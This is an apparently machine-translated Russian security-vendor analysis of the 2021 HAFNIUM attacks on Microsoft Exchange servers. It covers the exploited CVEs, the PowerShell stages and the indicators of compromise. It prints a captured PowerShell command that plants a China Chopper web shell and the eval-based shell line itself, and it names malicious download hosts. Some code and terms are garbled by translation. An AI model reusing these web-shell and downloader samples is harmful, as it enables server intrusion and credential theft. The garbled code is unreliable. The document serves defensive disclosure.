2 марта Microsoft объявила, что группа угроз HAFNIUM активно использует четыре уязвимости нулевого дня на своих серверах Exchange. Microsoft выпустила внеплановые обновления безопасности (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 и CVE-2021-27065), позволяющие злоумышленникам получать доступ к учётным записям электронной почты и запускать вредоносное ПО на сервере, даже не зная действительных учётных данных.
Злоумышленники используют уязвимость нулевого дня, связанную с подделкой серверных запросов (SSRF), в Microsoft Exchange (CVE-2021-26855). Это позволяет злоумышленнику обойти аутентификацию и получить возможность удалённого выполнения кода.
CVE-2021-27065 — уязвимость произвольной записи файлов после аутентификации. Она создаёт файл с расширением .aspx и вставляет код, которым злоумышленники и воспользовались. Мы подозреваем, что в большинстве случаев злоумышленники загружают на скомпрометированные серверы «веб-шелл China Chopper».

Цепь атаки
Эксплуатация этих серверов Exchange сопровождается индикаторами, скомпрометировавшими IOC, веб-шелл или файлы ASPX. После эксплуатации злоумышленники устанавливают веб-шелл на сервер Exchange в определённом каталоге «C:\inetpub\wwwroot\aspnet_client\discover.aspx». В ходе этой атаки мы обнаружили несколько файлов ASPX с распространёнными именами, такими как aspnet_client.aspx, load.aspx, discover.aspx, supp0rt.aspx, admit.aspx, error_page.aspx, shell.aspx, logaaa.aspx, dict.aspx и т. д. Веб-шеллы были обнаружены в файлах автономной адресной книги (OAB).
Злоумышленники могут внедрить код в aspx-страницу автономной адресной книги биржи; эти страницы используются для дальнейшей эксплуатации. Мы обнаружили следующее: PowerShell Выполнение с подозрительными параметрами на скомпрометированном сервере Exchange. Этот пример выполнения кода PowerShell показывает, что запись/изменение файла осуществляется посредством эксплуатации уязвимости.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W hidden -ep bypass -enc try {$p="C:\\inetpub\\wwwroot\\aspnet_client\\error.aspx";
$FileStream=New-ObjectIO.FileStream@($p,[IO.FileMode]::Create); $FileStream.Write([Text.Encoding]::UTF8.GetBytes('ExternalUrl:https://f/
“сервер”>functionPage_Load(){/*ExchangeService*/eval(Request[“unsafe”],”unsafe”);} '),0,147); если ($FileStream) {$FileStream.Flush();$FileStream.Dispose();$f = (ls $p);$t = "2015-09-13";$f.CreationTime = $t;$f.LastAccessTime = $t;$f.LastWrite Time = $t;$f.Attributes = "Readonly",
"система","скрытый","неконтентиндексированный","архив"}}catch{}.
Анализ веб-оболочки
Веб-шелл Chinese Chopper — это небольшой однострочный скрипт, который используется в этих атаках. Содержимое этих файлов довольно странное и неполное. В его структуре присутствует своего рода аргумент HTTP-запроса GET, вызывающий eval или что-то вроде unsafe, что может быть скомпрометировано.
Пример-
«https://f/ function Page_Load(){eval(Request [“XOrSeMr3kgWUdFf6″],”unsafe”);} ”
Синтаксис поля ExternalUrl в файле автономной адресной книги (OAB) похож на получение переменной из HTTP-запроса и выполнение её командной строки через сервер. «https://f/» — некорректный синтаксис, и в нём присутствуют случайные символьные параметры; это ключ, используемый для аутентификации перед выполнением кодов. В данном случае критически важен параметр «XOrSeMr3kgWUdFf6». В файле автономной адресной книги (OAB) дата изменения файла отображается в поле WhenChanged.
Скриншот для файла aspx-

Рис. 1. Файл ASPX
В файле веб-шелла мы видим вариации скрипта, некоторые статические символы, такие как апельсин, ананас, а также кодировку строк Base64, используемую в файле. Некоторые усложнения используются, чтобы избежать обнаружения, разделяя строки и кодируя их с помощью Base64.

Рис. 2. Список внешних URL-адресов

Рис. 3. Список путей
Постэксплуатационная деятельность
После эксплуатации мы стали свидетелями многочисленных попыток атак с целью получения полного доступа к серверу; при этом операторы использовали инструменты и методы с открытым исходным кодом для внедрения бэкдора или многочисленных вредоносных программ.
Вариант 1:
Мы обнаружили несколько загрузок PowerShell на серверах. Первая Скрипт PowerShell Это код в кодировке Base64, который затем загружает следующий этап с сайта http[:]//p.estonine[.]com/p?e. Затем мы пытаемся загрузить этот следующий этап и обнаруживаем, что загружается скрипт PowerShell.

Рис. 4. Первый скрипт PowerShell
Загруженный скрипт PowerShell должен вызывать выражение с кодировкой base64 и сжатым кодом Zlib для мощной техники обфускации.

Рис. 5. Следующий этап PS
После декодирования и распаковки скрипта, приведённого ниже, он использует различные проверки и собирает информацию, такую как MAC-адрес, AV, версия ОС, доменное имя и имя пользователя. Затем программа создаёт мьютекс «Global\PSEXEC» и проверяет наличие прав администратора для запуска процесса. Файл ccc.log предназначен для подключения к серверу ЧПУ.

Рис. 6. Код PowerShell, этап 2
Скрипт попытается обратиться к домену «http[:]//CDN.chatcdn[.]net». Этот домен долгое время считался вредоносным; в предыдущей версии DLTMiner он использовался в скриптах PowerShell. При запуске с правами администратора загрузите «p?hig», в противном случае — «p?low». Затем будут созданы запланированные интервалы выполнения задач Winnet. Если сервер не получит ответа, он загрузит файл update.png с IP-адреса «188.166.162.201».

Рис. 7. Код PowerShell, этап 2
Опять же, загруженный файл представляет собой скрипт PowerShell и содержит сильно запутанные данные. После декодирования кода получается файл размером около 2 МБ, состоящий из скрипта и множества строк кода. В коде было обнаружено использование открытого исходного кода для эксплуатации уязвимости через SMB, запросы на установку сеанса SMB, запросы на выход из сеанса SMB, invoke-SMBExec и некоторые методы бокового перемещения.

Рис. 8. PowerShell, этап 3
Дальнейшее исследование кода, после декодирования кода base64, выявило два исполняемых файла, аналогичных полезной нагрузке Mimikatz. Это программа с открытым исходным кодом для сбора учётных данных, используемая для получения логина и пароля учётной записи. Эти данные могут быть использованы для бокового перемещения и доступа к важной/закрытой информации.
Вариант 2:
Другой скрипт PowerShell, который мы наблюдали, пытается скачать файл со страницы GitHub. Расширение файла — .png, но это исполняемый PE-файл.

Рис. 9. Вариант скрипта PowerShell 2
Мы продолжаем изучать подобные сценарии PowerShell, и цепочка заражения поделится некоторыми интересными вещами, использующими уязвимости сервера Microsoft Exchange.
МНК
| Хэши Webshell | PE-хэши |
| 0CD6F96A3460BE65C70C88A764F6EC56 | 3547D371C975779D6E0EDDF145936FB1 |
| 137E3A611C961EF33AAF49CCAA35E710 | 8AEA2AE91CC084731A08AA231E79A430 |
| 1A06924B507FA9A48E94D8AB819C7E42 | 9ff2613df0fc30afbc552f40360c37e7 |
| 1B18EC3D2B27CE39E83D602CB8BA84FE | cad2ee0a2e085a319505c4c4b68b3d2b |
| 1EAC1B6CE217C4BD31E93A3D913AF010 | E438712E336982548B884CBFBFEE6C9E |
| 217747243CB1FB9EAF6999284D7B9FCB | |
| 3068ECC45C32C24C8FD56FC0CB0A8829 | |
| 3446CEEE4BEA404ED72E14E154763428 | |
| 35B332744E614EF07A94FF4AC03B1F1A | |
| 35FCA708A86BEE43F068AD53C289963D | |
| 3CDBE5DF6383A6604737076F9E97E25A | |
| 49A62802887B6CA23FD067B942631698 | |
| 4D0C46CA88840A2649CD0C8596EA0AF9 | |
| 50499D3A3F4A072FD2FA3C5C5E651E25 | |
| 5970381424FB282AD7683431EB38C4B5 | |
| 5DD588C96A81586EE653BDB80D301A87 | |
| 65159FE1E1AE21F68CD235A8C045787A | |
| 6654AA50456B7D7C10061957DA128EF6 | |
| 6B2AEC787E30369911265CFA932192F4 | |
| 6D5F087C1D2E5A98E8EF00FE7883A531 | |
| 6F5909B3060D0F9AD4C4F4F6EFBAAC27 | |
| 87DCB5D6CCD2D614C34197915A9ADE15 | |
| 8B99A15118D4FB563CDEFA97BFEC6BFE | |
| 8CBF320BC0E0BE871E04152AFF775238 | |
| 8D5315AA11C3DBCDDFBA1A8D8D695F6B | |
| 93448E9EC4EEDA337879B148475B0E77 | |
| 94881B3621AF9A4DC64678258364A82B | |
| B82E014EE386C569710A9B03A7294A4C | |
| B86798F8F643CA76F20916C9347AE1C8 | |
| BA7235A228BEB5B8D1C630DA46B17E5F | |
| BEE691F207A19D782CCFBE5887B91015 | |
| C11680638FFF66F5DD494151D4A77389 | |
| CB9BE56C0DA7D625277823C796A10B12 | |
| D02AD7D92D348E011F4C63CBA6BA639D | |
| D08194CBB0D72C2609719C8E87D9036D | |
| D2EE996FBFB6ACA47CFD4319543626A3 | |
| D70FBE37FA09856158361411624591E7 | |
| D8A14C2BC15DC04B0BAE8A992990D41F | |
| DEADBB5A1E9669E268D2C1CC5D9965B0 | |
| E6F23A3282C7F0A693433815B4CFFC8F | |
| EDB48532A2AA88558474FFEA64355129 | |
| EF374AAB0EFFF9914A83362E0896F651 | |
| EFD4DC84D422420E887E6400FECCDDAD | |
| F7D74667839288B659EC1D87217FC749 | |
| FBB4182C9A441688FD71996DE7445A6F |
Домены/IP
- http[:]//p.estonine[.]com/p?e
- http[:]//cdn.chatcdn[.]net
- http[:]//40.115.162.72/89[.]png
- https[:]//raw.githubusercontent[.]com/eluken890enlk/exmails/main
-
188.166.162.201
-
178.21.164.68
Имя обнаружения быстрого исцеления
- HTTP/CVE-2021-26855.MES!PT
- HTTP/MSExchangeServer.SSRF!PT
- CVE-2021-26855.Webshell
Резюме
Злоумышленники используют эти уязвимости нулевого дня против уязвимых серверов Microsoft Exchange, а также применяют многочисленные методы последующей эксплуатации, чтобы получить доступ или взять под контроль сервер Exchange, поэтому крайне важно устанавливать последние обновления безопасности.
Мы, как Quick Heal, добавили обнаружение этой уязвимости в IPS и обнаружение на основе файлов для определения уже скомпрометированных серверов и наличия других IOC, таких как веб-шеллы.
риска
- Мы настоятельно рекомендуем немедленно обновить все серверы Microsoft Exchange до последних доступных исправленных версий, выпущенных Microsoft.
- Для защиты от подобных атак/эксплойтов рекомендуется иметь в своем окружении средства безопасности и своевременно их обновлять.
- Необходимость своевременной установки обновлений безопасности от поставщиков поможет защитить и обезопасить системы.
- Если сервер уже скомпрометирован, то перед установкой исправления нам необходимо очистить сервер.
- Ниже представлены инструменты смягчения, предоставленные Microsoft, которые могут использовать эту уязвимость:
- https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/
- https://github.com/microsoft/CSS-Exchange/tree/main/Security



